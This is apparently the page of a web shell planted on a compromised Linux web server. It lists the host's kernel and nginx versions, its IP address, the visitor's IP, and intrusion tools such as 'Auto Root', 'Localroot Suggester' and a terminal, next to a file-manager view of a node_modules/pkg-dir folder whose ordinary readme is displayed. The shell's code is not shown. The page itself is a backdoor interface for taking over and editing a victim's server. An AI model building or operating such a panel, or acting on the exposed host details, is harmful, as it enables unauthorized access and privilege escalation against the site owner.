Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.137.185.239
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
node_modules /
pkg-dir /
Delete
Unzip
Name
Size
Permission
Date
Action
index.d.ts
1.04
KB
-rw-rw-r--
2022-08-30 11:49
index.js
452
B
-rw-rw-r--
2022-08-30 11:49
license
1.08
KB
-rw-rw-r--
2022-08-30 11:49
package.json
841
B
-rw-rw-r--
2022-08-30 11:49
readme.md
1.25
KB
-rw-rw-r--
2022-08-30 11:49
Save
Rename
# pkg-dir [](https://travis-ci.org/sindresorhus/pkg-dir) > Find the root directory of a Node.js project or npm package ## Install ``` $ npm install pkg-dir ``` ## Usage ``` / └── Users └── sindresorhus └── foo ├── package.json └── bar ├── baz └── example.js ``` ```js // example.js const pkgDir = require('pkg-dir'); (async () => { const rootDir = await pkgDir(__dirname); console.log(rootDir); //=> '/Users/sindresorhus/foo' })(); ``` ## API ### pkgDir([cwd]) Returns a `Promise` for either the project root path or `undefined` if it couldn't be found. ### pkgDir.sync([cwd]) Returns the project root path or `undefined` if it couldn't be found. #### cwd Type: `string`<br> Default: `process.cwd()` Directory to start from. ## Related - [pkg-dir-cli](https://github.com/sindresorhus/pkg-dir-cli) - CLI for this module - [pkg-up](https://github.com/sindresorhus/pkg-up) - Find the closest package.json file - [find-up](https://github.com/sindresorhus/find-up) - Find a file by walking up parent directories ## License MIT © [Sindre Sorhus](https://sindresorhus.com)